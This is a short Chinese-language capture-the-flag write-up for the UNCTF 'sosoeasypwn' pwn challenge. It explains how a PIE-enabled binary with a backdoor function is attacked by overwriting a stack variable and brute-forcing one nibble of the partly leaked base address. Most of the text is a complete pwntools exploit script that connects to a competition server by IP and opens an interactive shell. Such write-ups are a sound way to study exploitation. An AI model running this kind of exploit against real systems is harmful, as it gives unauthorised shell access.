0%

unctf-sosoeasypwn

渣木推的一道题, 有点鬼, 但是还是蛮简单的.

checksec发现PIE开启了, 可执行文件里的gadget不能用.
用ida反汇编一下, 发现有后门函数, 发现main函数里有两个函数, 而这两个函数调用时内存栈的相对位置是一样的, 我们只需要在第一次读入buf的时候更改第3个函数v1的值就好.
这道题给出了PIE的前4位, 需要爆破第4位, 后三位ida可以看到.
这道题的flag是flag.txt…
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
from pwn import *

t = 0


for i in range(0, 16):
# s = process('./pwn')
s = remote('101.71.29.5', 10009)

message = s.recvuntil('world\n')
res = int((re.findall(r'[0-9]+', message))[0]) << 16
t = res | (i << 12) | (0x9cd)

s.send('a' * 12 + p32(t))
sleep(0.1)

s.recvuntil('Please input your choice:(1.hello|2.byebye):')
s.send('a')
sleep(0.1)
try:
s.recv(timeout = 1)
except EOFError:
s.close()
continue
else:
sleep(0.1)
s.interactive()